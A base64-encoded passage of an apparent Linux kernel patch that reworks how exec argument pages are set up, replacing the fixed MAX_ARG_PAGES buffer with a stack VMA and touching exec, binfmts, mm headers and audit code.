ZXhlY3V0YWJsZV9zdGFjayA9PSBFWFNUQUNLX0RJU0FCTEVfWCkKLQkJCW1wbnQtPnZtX2ZsYWdz
ID0gVk1fU1RBQ0tfRkxBR1MgJiB+Vk1fRVhFQzsKLQkJZWxzZQotCQkJbXBudC0+dm1fZmxhZ3Mg
PSBWTV9TVEFDS19GTEFHUzsKLQkJbXBudC0+dm1fZmxhZ3MgfD0gbW0tPmRlZl9mbGFnczsKLQkJ
bXBudC0+dm1fcGFnZV9wcm90ID0gcHJvdGVjdGlvbl9tYXBbbXBudC0+dm1fZmxhZ3MgJiAweDdd
OwotCQlpZiAoKHJldCA9IGluc2VydF92bV9zdHJ1Y3QobW0sIG1wbnQpKSkgeworCQkJdm1fZmxh
Z3MgJj0gflZNX0VYRUM7CisJCXZtX2ZsYWdzIHw9IG1tLT5kZWZfZmxhZ3M7CisKKwkJcmV0ID0g
bXByb3RlY3RfZml4dXAodm1hLCAmcHJldiwgdm1hLT52bV9zdGFydCwgdm1hLT52bV9lbmQsCisJ
CQkJdm1fZmxhZ3MpOworCQlpZiAocmV0KSB7CiAJCQl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsK
LQkJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hlcCwgbXBudCk7CiAJCQlyZXR1cm4gcmV0
OwogCQl9Ci0JCW1tLT5zdGFja192bSA9IG1tLT50b3RhbF92bSA9IHZtYV9wYWdlcyhtcG50KTsK
LQl9CisJCUJVR19PTihwcmV2ICE9IHZtYSk7CisKKwkJLyogTW92ZSBzdGFjayBwYWdlcyBkb3du
IGluIG1lbW9yeS4gKi8KKwkJaWYgKHN0YWNrX3NoaWZ0KSB7CisJCQlyZXQgPSBzaGlmdF9hcmdf
cGFnZXModm1hLCBzdGFja19zaGlmdCk7CisJCQlpZiAocmV0KSB7CisJCQkJdXBfd3JpdGUoJm1t
LT5tbWFwX3NlbSk7CisJCQkJcmV0dXJuIHJldDsKKwkJCX0KKwkJfQogCi0JZm9yIChpID0gMCA7
IGkgPCBNQVhfQVJHX1BBR0VTIDsgaSsrKSB7Ci0JCXN0cnVjdCBwYWdlICpwYWdlID0gYnBybS0+
cGFnZVtpXTsKLQkJaWYgKHBhZ2UpIHsKLQkJCWJwcm0tPnBhZ2VbaV0gPSBOVUxMOwotCQkJaW5z
dGFsbF9hcmdfcGFnZShtcG50LCBwYWdlLCBzdGFja19iYXNlKTsKKyNpZmRlZiBDT05GSUdfU1RB
Q0tfR1JPV1NVUAorCQlpZiAoZXhwYW5kX3N0YWNrKHZtYSwgdm1hLT52bV9lbmQgKworCQkJCQlF
WFRSQV9TVEFDS19WTV9QQUdFUyAqIFBBR0VfU0laRSkpIHsKKwkJCXVwX3dyaXRlKCZtbS0+bW1h
cF9zZW0pOworCQkJcmV0dXJuIC1FRkFVTFQ7CisJCX0KKyNlbHNlCisJCWlmIChleHBhbmRfc3Rh
Y2sodm1hLCBzdGFja19iYXNlIC0KKwkJCQkJRVhUUkFfU1RBQ0tfVk1fUEFHRVMgKiBQQUdFX1NJ
WkUpKSB7CisJCQl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsKKwkJCXJldHVybiAtRUZBVUxUOwog
CQl9Ci0JCXN0YWNrX2Jhc2UgKz0gUEFHRV9TSVpFOworI2VuZGlmCiAJfQogCXVwX3dyaXRlKCZt
bS0+bW1hcF9zZW0pOwogCQpAQCAtNDU0LDIxICs1ODEsNiBAQCBpbnQgc2V0dXBfYXJnX3BhZ2Vz
KHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sCiAKIEVYUE9SVF9TWU1CT0woc2V0dXBfYXJnX3Bh
Z2VzKTsKIAotI2RlZmluZSBmcmVlX2FyZ19wYWdlcyhicHJtKSBkbyB7IH0gd2hpbGUgKDApCi0K
LSNlbHNlCi0KLXN0YXRpYyBpbmxpbmUgdm9pZCBmcmVlX2FyZ19wYWdlcyhzdHJ1Y3QgbGludXhf
YmlucHJtICpicHJtKQotewotCWludCBpOwotCi0JZm9yIChpID0gMDsgaSA8IE1BWF9BUkdfUEFH
RVM7IGkrKykgewotCQlpZiAoYnBybS0+cGFnZVtpXSkKLQkJCV9fZnJlZV9wYWdlKGJwcm0tPnBh
Z2VbaV0pOwotCQlicHJtLT5wYWdlW2ldID0gTlVMTDsKLQl9Ci19Ci0KICNlbmRpZiAvKiBDT05G
SUdfTU1VICovCiAKIHN0cnVjdCBmaWxlICpvcGVuX2V4ZWMoY29uc3QgY2hhciAqbmFtZSkKQEAg
LTk5OCwyOCArMTExMCw0NyBAQCB2b2lkIGNvbXB1dGVfY3JlZHMoc3RydWN0IGxpbnV4X2JpbnBy
bSAqYnBybSkKIAogRVhQT1JUX1NZTUJPTChjb21wdXRlX2NyZWRzKTsKIAotdm9pZCByZW1vdmVf
YXJnX3plcm8oc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKKy8qCisgKiBBcmd1bWVudHMgYXJl
ICdcMCcgc2VwYXJhdGVkIHN0cmluZ3MgZm91bmQgYXQgdGhlIGxvY2F0aW9uIGJwcm0tPnAKKyAq
IHBvaW50cyB0bzsgY2hvcCBvZmYgdGhlIGZpcnN0IGJ5IHJlbG9jYXRpbmcgYnJwbS0+cCB0byBy
aWdodCBhZnRlcgorICogdGhlIGZpcnN0ICdcMCcgZW5jb3VudGVyZWQuCisgKi8KK2ludCByZW1v
dmVfYXJnX3plcm8oc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKIHsKLQlpZiAoYnBybS0+YXJn
YykgewotCQl1bnNpZ25lZCBsb25nIG9mZnNldDsKLQkJY2hhciAqIGthZGRyOwotCQlzdHJ1Y3Qg
cGFnZSAqcGFnZTsKKwlpbnQgcmV0ID0gMDsKKwl1bnNpZ25lZCBsb25nIG9mZnNldDsKKwljaGFy
ICprYWRkcjsKKwlzdHJ1Y3QgcGFnZSAqcGFnZTsKIAotCQlvZmZzZXQgPSBicHJtLT5wICUgUEFH
RV9TSVpFOwotCQlnb3RvIGluc2lkZTsKKwlpZiAoIWJwcm0tPmFyZ2MpCisJCXJldHVybiAwOwog
Ci0JCXdoaWxlIChicHJtLT5wKyssICooa2FkZHIrb2Zmc2V0KyspKSB7Ci0JCQlpZiAob2Zmc2V0
ICE9IFBBR0VfU0laRSkKLQkJCQljb250aW51ZTsKLQkJCW9mZnNldCA9IDA7Ci0JCQlrdW5tYXBf
YXRvbWljKGthZGRyLCBLTV9VU0VSMCk7Ci1pbnNpZGU6Ci0JCQlwYWdlID0gYnBybS0+cGFnZVti
cHJtLT5wL1BBR0VfU0laRV07Ci0JCQlrYWRkciA9IGttYXBfYXRvbWljKHBhZ2UsIEtNX1VTRVIw
KTsKKwlkbyB7CisJCW9mZnNldCA9IGJwcm0tPnAgJiB+UEFHRV9NQVNLOworCQlwYWdlID0gZ2V0
X2FyZ19wYWdlKGJwcm0sIGJwcm0tPnAsIDApOworCQlpZiAoIXBhZ2UpIHsKKwkJCXJldCA9IC1F
RkFVTFQ7CisJCQlnb3RvIG91dDsKIAkJfQorCQlrYWRkciA9IGttYXBfYXRvbWljKHBhZ2UsIEtN
X1VTRVIwKTsKKworCQlmb3IgKDsgb2Zmc2V0IDwgUEFHRV9TSVpFICYmIGthZGRyW29mZnNldF07
CisJCQkJb2Zmc2V0KyssIGJwcm0tPnArKykKKwkJCTsKKwogCQlrdW5tYXBfYXRvbWljKGthZGRy
LCBLTV9VU0VSMCk7Ci0JCWJwcm0tPmFyZ2MtLTsKLQl9CisJCXB1dF9hcmdfcGFnZShwYWdlKTsK
KworCQlpZiAob2Zmc2V0ID09IFBBR0VfU0laRSkKKwkJCWZyZWVfYXJnX3BhZ2UoYnBybSwgKGJw
cm0tPnAgPj4gUEFHRV9TSElGVCkgLSAxKTsKKwl9IHdoaWxlIChvZmZzZXQgPT0gUEFHRV9TSVpF
KTsKKworCWJwcm0tPnArKzsKKwlicHJtLT5hcmdjLS07CisJcmV0ID0gMDsKKworb3V0OgorCXJl
dHVybiByZXQ7CiB9CiAKIEVYUE9SVF9TWU1CT0wocmVtb3ZlX2FyZ196ZXJvKTsKQEAgLTEwNDYs
NyArMTE3Nyw3IEBAIGludCBzZWFyY2hfYmluYXJ5X2hhbmRsZXIoc3RydWN0IGxpbnV4X2JpbnBy
bSAqYnBybSxzdHJ1Y3QgcHRfcmVncyAqcmVncykKIAkJZnB1dChicHJtLT5maWxlKTsKIAkJYnBy
bS0+ZmlsZSA9IE5VTEw7CiAKLQkgICAgICAgIGxvYWRlciA9IFBBR0VfU0laRSpNQVhfQVJHX1BB
R0VTLXNpemVvZih2b2lkICopOworCSAgICAgICAgbG9hZGVyID0gYnBybS0+dm1hLT52bV9lbmQg
LSBzaXplb2Yodm9pZCAqKTsKIAogCQlmaWxlID0gb3Blbl9leGVjKCIvc2Jpbi9sb2FkZXIiKTsK
IAkJcmV0dmFsID0gUFRSX0VSUihmaWxlKTsKQEAgLTExMzgsOCArMTI2OSw4IEBAIGludCBkb19l
eGVjdmUoY2hhciAqIGZpbGVuYW1lLAogewogCXN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm07CiAJ
c3RydWN0IGZpbGUgKmZpbGU7CisJdW5zaWduZWQgbG9uZyB0bXA7CiAJaW50IHJldHZhbDsKLQlp
bnQgaTsKIAogCXJldHZhbCA9IC1FTk9NRU07CiAJYnBybSA9IGt6YWxsb2Moc2l6ZW9mKCpicHJt
KSwgR0ZQX0tFUk5FTCk7CkBAIC0xMTUzLDI1ICsxMjg0LDE5IEBAIGludCBkb19leGVjdmUoY2hh
ciAqIGZpbGVuYW1lLAogCiAJc2NoZWRfZXhlYygpOwogCi0JYnBybS0+cCA9IFBBR0VfU0laRSpN
QVhfQVJHX1BBR0VTLXNpemVvZih2b2lkICopOwotCiAJYnBybS0+ZmlsZSA9IGZpbGU7CiAJYnBy
bS0+ZmlsZW5hbWUgPSBmaWxlbmFtZTsKIAlicHJtLT5pbnRlcnAgPSBmaWxlbmFtZTsKLQlicHJt
LT5tbSA9IG1tX2FsbG9jKCk7Ci0JcmV0dmFsID0gLUVOT01FTTsKLQlpZiAoIWJwcm0tPm1tKQot
CQlnb3RvIG91dF9maWxlOwogCi0JcmV0dmFsID0gaW5pdF9uZXdfY29udGV4dChjdXJyZW50LCBi
cHJtLT5tbSk7Ci0JaWYgKHJldHZhbCA8IDApCi0JCWdvdG8gb3V0X21tOworCXJldHZhbCA9IGJw
cm1fbW1faW5pdChicHJtKTsKKwlpZiAocmV0dmFsKQorCQlnb3RvIG91dF9maWxlOwogCi0JYnBy
bS0+YXJnYyA9IGNvdW50KGFyZ3YsIGJwcm0tPnAgLyBzaXplb2Yodm9pZCAqKSk7CisJYnBybS0+
YXJnYyA9IGNvdW50KGFyZ3YsIE1BWF9BUkdfU1RSSU5HUyk7CiAJaWYgKChyZXR2YWwgPSBicHJt
LT5hcmdjKSA8IDApCiAJCWdvdG8gb3V0X21tOwogCi0JYnBybS0+ZW52YyA9IGNvdW50KGVudnAs
IGJwcm0tPnAgLyBzaXplb2Yodm9pZCAqKSk7CisJYnBybS0+ZW52YyA9IGNvdW50KGVudnAsIE1B
WF9BUkdfU1RSSU5HUyk7CiAJaWYgKChyZXR2YWwgPSBicHJtLT5lbnZjKSA8IDApCiAJCWdvdG8g
b3V0X21tOwogCkBAIC0xMTkyLDE1ICsxMzE3LDE2IEBAIGludCBkb19leGVjdmUoY2hhciAqIGZp
bGVuYW1lLAogCWlmIChyZXR2YWwgPCAwKQogCQlnb3RvIG91dDsKIAorCXRtcCA9IGJwcm0tPnA7
CiAJcmV0dmFsID0gY29weV9zdHJpbmdzKGJwcm0tPmFyZ2MsIGFyZ3YsIGJwcm0pOwogCWlmIChy
ZXR2YWwgPCAwKQogCQlnb3RvIG91dDsKKwlicHJtLT5hcmd2X2xlbiA9IHRtcCAtIGJwcm0tPnA7
CiAKIAlyZXR2YWwgPSBzZWFyY2hfYmluYXJ5X2hhbmRsZXIoYnBybSxyZWdzKTsKIAlpZiAocmV0
dmFsID49IDApIHsKLQkJZnJlZV9hcmdfcGFnZXMoYnBybSk7Ci0KIAkJLyogZXhlY3ZlIHN1Y2Nl
c3MgKi8KKwkJZnJlZV9hcmdfcGFnZXMoYnBybSk7CiAJCXNlY3VyaXR5X2Jwcm1fZnJlZShicHJt
KTsKIAkJYWNjdF91cGRhdGVfaW50ZWdyYWxzKGN1cnJlbnQpOwogCQlrZnJlZShicHJtKTsKQEAg
LTEyMDgsMjYgKzEzMzQsMTkgQEAgaW50IGRvX2V4ZWN2ZShjaGFyICogZmlsZW5hbWUsCiAJfQog
CiBvdXQ6Ci0JLyogU29tZXRoaW5nIHdlbnQgd3JvbmcsIHJldHVybiB0aGUgaW5vZGUgYW5kIGZy
ZWUgdGhlIGFyZ3VtZW50IHBhZ2VzKi8KLQlmb3IgKGkgPSAwIDsgaSA8IE1BWF9BUkdfUEFHRVMg
OyBpKyspIHsKLQkJc3RydWN0IHBhZ2UgKiBwYWdlID0gYnBybS0+cGFnZVtpXTsKLQkJaWYgKHBh
Z2UpCi0JCQlfX2ZyZWVfcGFnZShwYWdlKTsKLQl9Ci0KKwlmcmVlX2FyZ19wYWdlcyhicHJtKTsK
IAlpZiAoYnBybS0+c2VjdXJpdHkpCiAJCXNlY3VyaXR5X2Jwcm1fZnJlZShicHJtKTsKIAogb3V0
X21tOgogCWlmIChicHJtLT5tbSkKLQkJbW1kcm9wKGJwcm0tPm1tKTsKKwkJbW1wdXQgKGJwcm0t
Pm1tKTsKIAogb3V0X2ZpbGU6CiAJaWYgKGJwcm0tPmZpbGUpIHsKIAkJYWxsb3dfd3JpdGVfYWNj
ZXNzKGJwcm0tPmZpbGUpOwogCQlmcHV0KGJwcm0tPmZpbGUpOwogCX0KLQogb3V0X2tmcmVlOgog
CWtmcmVlKGJwcm0pOwogCmRpZmYgLS1naXQgYS9pbmNsdWRlL2FzbS11bS9wcm9jZXNzb3ItaTM4
Ni5oIGIvaW5jbHVkZS9hc20tdW0vcHJvY2Vzc29yLWkzODYuaAppbmRleCA1OTVmMWMzLi44Njlj
MjM2IDEwMDY0NAotLS0gYS9pbmNsdWRlL2FzbS11bS9wcm9jZXNzb3ItaTM4Ni5oCisrKyBiL2lu
Y2x1ZGUvYXNtLXVtL3Byb2Nlc3Nvci1pMzg2LmgKQEAgLTY3LDkgKzY3LDYgQEAgc3RhdGljIGlu
bGluZSB2b2lkIHJlcF9ub3Aodm9pZCkKICNkZWZpbmUgY3VycmVudF90ZXh0X2FkZHIoKSBcCiAJ
KHsgdm9pZCAqcGM7IF9fYXNtX18oIm1vdmwgJDFmLCUwXG4xOiI6Ij1nIiAocGMpKTsgcGM7IH0p
CiAKLSNkZWZpbmUgQVJDSF9JU19TVEFDS0dST1coYWRkcmVzcykgXAotICAgICAgIChhZGRyZXNz
ICsgMzIgPj0gVVBUX1NQKCZjdXJyZW50LT50aHJlYWQucmVncy5yZWdzKSkKLQogI2RlZmluZSBL
U1RLX0VJUCh0c2spIEtTVEtfUkVHKHRzaywgRUlQKQogI2RlZmluZSBLU1RLX0VTUCh0c2spIEtT
VEtfUkVHKHRzaywgVUVTUCkKICNkZWZpbmUgS1NUS19FQlAodHNrKSBLU1RLX1JFRyh0c2ssIEVC
UCkKZGlmZiAtLWdpdCBhL2luY2x1ZGUvYXNtLXVtL3Byb2Nlc3Nvci14ODZfNjQuaCBiL2luY2x1
ZGUvYXNtLXVtL3Byb2Nlc3Nvci14ODZfNjQuaAppbmRleCAxMDYwOWFmLi4wNGQxMTk2IDEwMDY0
NAotLS0gYS9pbmNsdWRlL2FzbS11bS9wcm9jZXNzb3IteDg2XzY0LmgKKysrIGIvaW5jbHVkZS9h
c20tdW0vcHJvY2Vzc29yLXg4Nl82NC5oCkBAIC00Miw5ICs0Miw2IEBAIHN0YXRpYyBpbmxpbmUg
dm9pZCBhcmNoX2NvcHlfdGhyZWFkKHN0cnVjdCBhcmNoX3RocmVhZCAqZnJvbSwKICNkZWZpbmUg
Y3VycmVudF90ZXh0X2FkZHIoKSBcCiAJKHsgdm9pZCAqcGM7IF9fYXNtX18oIm1vdnEgJDFmLCUw
XG4xOiI6Ij1nIiAocGMpKTsgcGM7IH0pCiAKLSNkZWZpbmUgQVJDSF9JU19TVEFDS0dST1coYWRk
cmVzcykgXAotICAgICAgICAoYWRkcmVzcyArIDEyOCA+PSBVUFRfU1AoJmN1cnJlbnQtPnRocmVh
ZC5yZWdzLnJlZ3MpKQotCiAjZGVmaW5lIEtTVEtfRUlQKHRzaykgS1NUS19SRUcodHNrLCBSSVAp
CiAjZGVmaW5lIEtTVEtfRVNQKHRzaykgS1NUS19SRUcodHNrLCBSU1ApCiAKZGlmZiAtLWdpdCBh
L2luY2x1ZGUvbGludXgvYmluZm10cy5oIGIvaW5jbHVkZS9saW51eC9iaW5mbXRzLmgKaW5kZXgg
YzFlODJjNS4uMjQ5ZWI3YiAxMDA2NDQKLS0tIGEvaW5jbHVkZS9saW51eC9iaW5mbXRzLmgKKysr
IGIvaW5jbHVkZS9saW51eC9iaW5mbXRzLmgKQEAgLTUsMTIgKzUsOSBAQAogCiBzdHJ1Y3QgcHRf
cmVnczsKIAotLyoKLSAqIE1BWF9BUkdfUEFHRVMgZGVmaW5lcyB0aGUgbnVtYmVyIG9mIHBhZ2Vz
IGFsbG9jYXRlZCBmb3IgYXJndW1lbnRzCi0gKiBhbmQgZW52ZWxvcGUgZm9yIHRoZSBuZXcgcHJv
Z3JhbS4gMzIgc2hvdWxkIHN1ZmZpY2UsIHRoaXMgZ2l2ZXMKLSAqIGEgbWF4aW11bSBlbnYrYXJn
IG9mIDEyOGtCIHcvNEtCIHBhZ2VzIQotICovCi0jZGVmaW5lIE1BWF9BUkdfUEFHRVMgMzIKKy8q
IEZJWE1FOiBGaW5kIHJlYWwgbGltaXRzLCBvciBub25lLiAqLworI2RlZmluZSBNQVhfQVJHX1NU
UkxFTiAoUEFHRV9TSVpFICogMzIpCisjZGVmaW5lIE1BWF9BUkdfU1RSSU5HUyAweDdGRkZGRkZG
CiAKIC8qIHNpemVvZihsaW51eF9iaW5wcm0tPmJ1ZikgKi8KICNkZWZpbmUgQklOUFJNX0JVRl9T
SVpFIDEyOApAQCAtMjIsNyArMTksMTIgQEAgc3RydWN0IHB0X3JlZ3M7CiAgKi8KIHN0cnVjdCBs
aW51eF9iaW5wcm17CiAJY2hhciBidWZbQklOUFJNX0JVRl9TSVpFXTsKKyNpZmRlZiBDT05GSUdf
TU1VCisJc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWE7CisjZWxzZQorIyBkZWZpbmUgTUFYX0FS
R19QQUdFUwkzMgogCXN0cnVjdCBwYWdlICpwYWdlW01BWF9BUkdfUEFHRVNdOworI2VuZGlmCiAJ
c3RydWN0IG1tX3N0cnVjdCAqbW07CiAJdW5zaWduZWQgbG9uZyBwOyAvKiBjdXJyZW50IHRvcCBv
ZiBtZW0gKi8KIAlpbnQgc2hfYmFuZzsKQEAgLTM4LDYgKzQwLDcgQEAgc3RydWN0IGxpbnV4X2Jp
bnBybXsKIAl1bnNpZ25lZCBpbnRlcnBfZmxhZ3M7CiAJdW5zaWduZWQgaW50ZXJwX2RhdGE7CiAJ
dW5zaWduZWQgbG9uZyBsb2FkZXIsIGV4ZWM7CisJdW5zaWduZWQgbG9uZyBhcmd2X2xlbjsKIH07
CiAKICNkZWZpbmUgQklOUFJNX0ZMQUdTX0VORk9SQ0VfTk9ORFVNUF9CSVQgMApAQCAtNjUsNyAr
NjgsNyBAQCBleHRlcm4gaW50IHJlZ2lzdGVyX2JpbmZtdChzdHJ1Y3QgbGludXhfYmluZm10ICop
OwogZXh0ZXJuIGludCB1bnJlZ2lzdGVyX2JpbmZtdChzdHJ1Y3QgbGludXhfYmluZm10ICopOwog
CiBleHRlcm4gaW50IHByZXBhcmVfYmlucHJtKHN0cnVjdCBsaW51eF9iaW5wcm0gKik7Ci1leHRl
cm4gdm9pZCByZW1vdmVfYXJnX3plcm8oc3RydWN0IGxpbnV4X2JpbnBybSAqKTsKK2V4dGVybiBp
bnQgX19tdXN0X2NoZWNrIHJlbW92ZV9hcmdfemVybyhzdHJ1Y3QgbGludXhfYmlucHJtICopOwog
ZXh0ZXJuIGludCBzZWFyY2hfYmluYXJ5X2hhbmRsZXIoc3RydWN0IGxpbnV4X2JpbnBybSAqLHN0
cnVjdCBwdF9yZWdzICopOwogZXh0ZXJuIGludCBmbHVzaF9vbGRfZXhlYyhzdHJ1Y3QgbGludXhf
YmlucHJtICogYnBybSk7CiAKQEAgLTgyLDYgKzg1LDcgQEAgZXh0ZXJuIGludCBzdWlkX2R1bXBh
YmxlOwogZXh0ZXJuIGludCBzZXR1cF9hcmdfcGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqIGJw
cm0sCiAJCQkgICB1bnNpZ25lZCBsb25nIHN0YWNrX3RvcCwKIAkJCSAgIGludCBleGVjdXRhYmxl
X3N0YWNrKTsKK2V4dGVybiBpbnQgYnBybV9tbV9pbml0KHN0cnVjdCBsaW51eF9iaW5wcm0gKmJw
cm0pOwogZXh0ZXJuIGludCBjb3B5X3N0cmluZ3Nfa2VybmVsKGludCBhcmdjLGNoYXIgKiogYXJn
dixzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtKTsKIGV4dGVybiB2b2lkIGNvbXB1dGVfY3JlZHMo
c3RydWN0IGxpbnV4X2JpbnBybSAqYmlucHJtKTsKIGV4dGVybiBpbnQgZG9fY29yZWR1bXAobG9u
ZyBzaWduciwgaW50IGV4aXRfY29kZSwgc3RydWN0IHB0X3JlZ3MgKiByZWdzKTsKZGlmZiAtLWdp
dCBhL2luY2x1ZGUvbGludXgvbW0uaCBiL2luY2x1ZGUvbGludXgvbW0uaAppbmRleCA5OTA5NTdl
Li4yN2MzYzAyIDEwMDY0NAotLS0gYS9pbmNsdWRlL2xpbnV4L21tLmgKKysrIGIvaW5jbHVkZS9s
aW51eC9tbS5oCkBAIC03NjAsNyArNzYwLDYgQEAgc3RhdGljIGlubGluZSBpbnQgaGFuZGxlX21t
X2ZhdWx0KHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLAogCiBleHRlcm4gaW50IG1ha2VfcGFnZXNfcHJl
c2VudCh1bnNpZ25lZCBsb25nIGFkZHIsIHVuc2lnbmVkIGxvbmcgZW5kKTsKIGV4dGVybiBpbnQg
YWNjZXNzX3Byb2Nlc3Nfdm0oc3RydWN0IHRhc2tfc3RydWN0ICp0c2ssIHVuc2lnbmVkIGxvbmcg
YWRkciwgdm9pZCAqYnVmLCBpbnQgbGVuLCBpbnQgd3JpdGUpOwotdm9pZCBpbnN0YWxsX2FyZ19w
YWdlKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqLCBzdHJ1Y3QgcGFnZSAqLCB1bnNpZ25lZCBsb25n
KTsKIAogaW50IGdldF91c2VyX3BhZ2VzKHN0cnVjdCB0YXNrX3N0cnVjdCAqdHNrLCBzdHJ1Y3Qg
bW1fc3RydWN0ICptbSwgdW5zaWduZWQgbG9uZyBzdGFydCwKIAkJaW50IGxlbiwgaW50IHdyaXRl
LCBpbnQgZm9yY2UsIHN0cnVjdCBwYWdlICoqcGFnZXMsIHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAq
KnZtYXMpOwpAQCAtNzc0LDkgKzc3MywxNSBAQCBpbnQgRkFTVENBTEwoc2V0X3BhZ2VfZGlydHko
c3RydWN0IHBhZ2UgKnBhZ2UpKTsKIGludCBzZXRfcGFnZV9kaXJ0eV9sb2NrKHN0cnVjdCBwYWdl
ICpwYWdlKTsKIGludCBjbGVhcl9wYWdlX2RpcnR5X2Zvcl9pbyhzdHJ1Y3QgcGFnZSAqcGFnZSk7
CiAKK2V4dGVybiB1bnNpZ25lZCBsb25nIG1vdmVfcGFnZV90YWJsZXMoc3RydWN0IHZtX2FyZWFf
c3RydWN0ICp2bWEsCisJCXVuc2lnbmVkIGxvbmcgb2xkX2FkZHIsIHN0cnVjdCB2bV9hcmVhX3N0
cnVjdCAqbmV3X3ZtYSwKKwkJdW5zaWduZWQgbG9uZyBuZXdfYWRkciwgdW5zaWduZWQgbG9uZyBs
ZW4pOwogZXh0ZXJuIHVuc2lnbmVkIGxvbmcgZG9fbXJlbWFwKHVuc2lnbmVkIGxvbmcgYWRkciwK
IAkJCSAgICAgICB1bnNpZ25lZCBsb25nIG9sZF9sZW4sIHVuc2lnbmVkIGxvbmcgbmV3X2xlbiwK
IAkJCSAgICAgICB1bnNpZ25lZCBsb25nIGZsYWdzLCB1bnNpZ25lZCBsb25nIG5ld19hZGRyKTsK
K2V4dGVybiBpbnQgbXByb3RlY3RfZml4dXAoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCisJ
CQkgIHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqKnBwcmV2LCB1bnNpZ25lZCBsb25nIHN0YXJ0LAor
CQkJICB1bnNpZ25lZCBsb25nIGVuZCwgdW5zaWduZWQgbG9uZyBuZXdmbGFncyk7CiAKIC8qCiAg
KiBQcm90b3R5cGUgdG8gYWRkIGEgc2hyaW5rZXIgY2FsbGJhY2sgZm9yIGFnZWFibGUgY2FjaGVz
LgpAQCAtOTkwLDYgKzk5NSw5IEBAIGV4dGVybiBpbnQgZXhwYW5kX3N0YWNrKHN0cnVjdCB2bV9h
cmVhX3N0cnVjdCAqdm1hLCB1bnNpZ25lZCBsb25nIGFkZHJlc3MpOwogI2lmZGVmIENPTkZJR19J
QTY0CiBleHRlcm4gaW50IGV4cGFuZF91cHdhcmRzKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1h
LCB1bnNpZ25lZCBsb25nIGFkZHJlc3MpOwogI2VuZGlmCisjaWZkZWYgQ09ORklHX1NUQUNLX0dS
T1dTVVAKK2V4dGVybiBpbnQgZXhwYW5kX2Rvd253YXJkcyhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3Qg
KnZtYSwgdW5zaWduZWQgbG9uZyBhZGRyZXNzKTsKKyNlbmRpZgogCiAvKiBMb29rIHVwIHRoZSBm
aXJzdCBWTUEgd2hpY2ggc2F0aXNmaWVzICBhZGRyIDwgdm1fZW5kLCAgTlVMTCBpZiBub25lLiAq
LwogZXh0ZXJuIHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqIGZpbmRfdm1hKHN0cnVjdCBtbV9zdHJ1
Y3QgKiBtbSwgdW5zaWduZWQgbG9uZyBhZGRyKTsKZGlmZiAtLWdpdCBhL2luY2x1ZGUvbGludXgv
c3lzY3RsLmggYi9pbmNsdWRlL2xpbnV4L3N5c2N0bC5oCmluZGV4IGU0YjFhNGQuLmNhZTcwMDYg
MTAwNjQ0Ci0tLSBhL2luY2x1ZGUvbGludXgvc3lzY3RsLmgKKysrIGIvaW5jbHVkZS9saW51eC9z
eXNjdGwuaApAQCAtMTUwLDYgKzE1MCw3IEBAIGVudW0KIAlLRVJOX0lBNjRfVU5BTElHTkVEPTcy
LCAvKiBpbnQ6IGlhNjQgdW5hbGlnbmVkIHVzZXJsYW5kIHRyYXAgZW5hYmxlICovCiAJS0VSTl9D
T01QQVRfTE9HPTczLAkvKiBpbnQ6IHByaW50IGNvbXBhdCBsYXllciAgbWVzc2FnZXMgKi8KIAlL
RVJOX01BWF9MT0NLX0RFUFRIPTc0LAorCUtFUk5fQVVESVRfQVJHVj03NSwgLyogaW50OiBtYXgg
c2l6ZSBvZiBhcmd2IGFycmF5IGZvciBhdWRpdCBsb2dnaW5nICovCiB9OwogCiAKZGlmZiAtLWdp
dCBhL2tlcm5lbC9hdWRpdC5jIGIva2VybmVsL2F1ZGl0LmMKaW5kZXggZDQxN2NhMS4uMmQxNzFh
OCAxMDA2NDQKLS0tIGEva2VybmVsL2F1ZGl0LmMKKysrIGIva2VybmVsL2F1ZGl0LmMKQEAgLTE2
Nyw2ICsxNjcsMjIgQEAgdm9pZCBhdWRpdF9wYW5pYyhjb25zdCBjaGFyICptZXNzYWdlKQogCX0K
IH0KIAordm9pZCBhdWRpdF9raWxsKGNvbnN0IGNoYXIgKm1lc3NhZ2UpCit7CisJc3dpdGNoIChh
dWRpdF9mYWlsdXJlKQorCXsKKwljYXNlIEFVRElUX0ZBSUxfU0lMRU5UOgorCQlicmVhazsKKwlj
YXNlIEFVRElUX0ZBSUxfUFJJTlRLOgorCQlwcmludGsoS0VSTl9FUlIgImF1ZGl0OiAlc1xuIiwg
bWVzc2FnZSk7CisJCWJyZWFrOworCWNhc2UgQVVESVRfRkFJTF9QQU5JQzoKKwkJcHJpbnRrKEtF
Uk5fRVJSICJhdWRpdDogJXNcbiIsIG1lc3NhZ2UpOworCQlzZW5kX3NpZyhTSUdLSUxMLCBjdXJy
ZW50LCAwKTsKKwkJYnJlYWs7CisJfQorfQorCiBzdGF0aWMgaW5saW5lIGludCBhdWRpdF9yYXRl
X2NoZWNrKHZvaWQpCiB7CiAJc3RhdGljIHVuc2lnbmVkIGxvbmcJbGFzdF9jaGVjayA9IDA7CmRp
ZmYgLS1naXQgYS9rZXJuZWwvYXVkaXQuaCBiL2tlcm5lbC9hdWRpdC5oCmluZGV4IDZhYTMzYjgu
LmUyMjlhYTAgMTAwNjQ0Ci0tLSBhL2tlcm5lbC9hdWRpdC5oCisrKyBiL2tlcm5lbC9hdWRpdC5o
CkBAIC0xMTUsNiArMTE1LDcgQEAgZXh0ZXJuIHZvaWQJCSAgICBhdWRpdF9zZW5kX3JlcGx5KGlu
dCBwaWQsIGludCBzZXEsIGludCB0eXBlLAogCQkJCQkgICAgIHZvaWQgKnBheWxvYWQsIGludCBz
